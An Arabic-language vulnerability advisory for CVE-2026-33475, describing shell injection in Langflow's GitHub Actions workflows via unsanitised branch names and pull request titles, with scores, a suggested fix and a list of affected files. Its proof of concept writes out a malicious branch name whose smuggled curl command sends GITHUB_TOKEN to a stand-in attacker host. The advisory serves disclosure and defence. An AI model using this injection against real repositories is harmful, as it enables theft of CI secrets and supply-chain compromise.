CVE-2026-33475
Langflow GitHub Actions Shell Injection
- تم النشر
- 24/03/2026
- محدث
- 25/03/2026
- تخصيص CNA
- GitHub_M
- الأدلة المرصودة
- 05/09/2026
CVSS الأساسي
nvd · CVSS 3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Nمنخفض · الثلاثين يومًا القادمة
- المئوية
- 86.5%
- تاريخ الموديل
- 21/09/2026
EPSS هو تقدير إحصائي، وليس يقينًا أو مقياسًا للتأثير. ادمجها مع CVSS وحالة KEV والتعرض وبيئتك.
ملخص
Langflow هي أداة لبناء ونشر الوكلاء وسير العمل المدعومين بالذكاء الاصطناعي. توجد ثغرة حقن أوامر شل عن بُعد غير مصادق عليها في عدة سير عمل GitHub Actions في مستودع Langflow قبل الإصدار 1.9.0. إن الإقحام غير المعقّم لمتغيرات سياق GitHub (مثل `${{ github.head_ref }}`) في خطوات `run:` يسمح للمهاجمين بحقن وتنفيذ أوامر شل عشوائية عبر اسم فرع خبيث أو عنوان طلب سحب. يمكن أن يؤدي هذا إلى تسريب الأسرار (مثل `GITHUB_TOKEN`)، أو التلاعب بالبنية التحتية، أو اختراق سلسلة التوريد أثناء تنفيذ CI/CD. الإصدار 1.9.0 يصحح الثغرة. --- ### التفاصيل تشير عدة سير عمل في `.github/workflows/` و`.github/actions/` إلى متغيرات سياق GitHub مباشرة في أوامر شل `run:`، مثل: ```yaml run: | validate_branch_name "${{ github.event.pull_request.head.ref }}" ``` أو: ```yaml run: npx playwright install ${{ inputs.browsers }} --with-deps ``` نظرًا لأن `github.head_ref` و`github.event.pull_request.title` و`inputs.*` المخصصة قد تحتوي على **قيم يتحكم فيها المستخدم**، فيجب التعامل معها كـ**مدخلات غير موثوقة**. يؤدي الإقحام المباشر دون اقتباس أو تعقيم مناسب إلى حقن أوامر شل. --- ### إثبات المفهوم (PoC) 1. **قم بعمل Fork** لمستودع Langflow 2. **أنشئ فرعًا جديدًا** بالاسم: ```bash injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 3. **افتح طلب سحب (Pull Request)** إلى الفرع الرئيسي من الفرع الجديد 4. سيقوم GitHub Actions بتشغيل سير العمل المتأثر (مثل `deploy-docs-draft.yml`) 5. خطوة `run:` التي تحتوي على: ```yaml echo "Branch: ${{ github.head_ref }}" ``` ستنفذ: ```bash echo "Branch: injection-test" curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 6. يستلم المهاجم سر CI عبر عنوان URL للتسريب. --- ### التأثير - **النوع:** حقن أوامر شل / تنفيذ كود عن بُعد في CI - **النطاق:** أي Fork عام من Langflow مع تفعيل GitHub Actions - **التأثير:** وصول كامل إلى أسرار CI (مثل `GITHUB_TOKEN`)، إمكانية دفع علامات أو صور خبيثة، العبث بالإصدارات، أو تسريب بيانات بنية تحتية حساسة --- ### الإصلاح المقترح أعد هيكلة سير العمل المتأثرة **لاستخدام متغيرات البيئة** ولفّها في **علامات اقتباس مزدوجة**: ```yaml env: BRANCH_NAME: ${{ github.head_ref }} run: | echo "Branch is: \"$BRANCH_NAME\"" ``` تجنب الإقحام المباشر `${{ ... }}` داخل `run:` لأي قيمة يتحكم فيها المستخدم. --- ### الملفات المتأثرة (Langflow `1.3.4`) - `.github/actions/install-playwright/action.yml` - `.github/workflows/deploy-docs-draft.yml` - `.github/workflows/docker-build.yml` - `.github/workflows/release_nightly.yml` - `.github/workflows/python_test.yml` - `.github/workflows/typescript_test.yml`
المصادر
1الاستخدام المسؤول
استخدم معلومات الثغرات الأمنية فقط على الأنظمة التي تمتلكها أو المرخص لها باختبارها. يرتبط Kitploit ببيانات تعريف البحث العامة ولا يخزن أكواد الاستغلال أو الحمولات الضارة.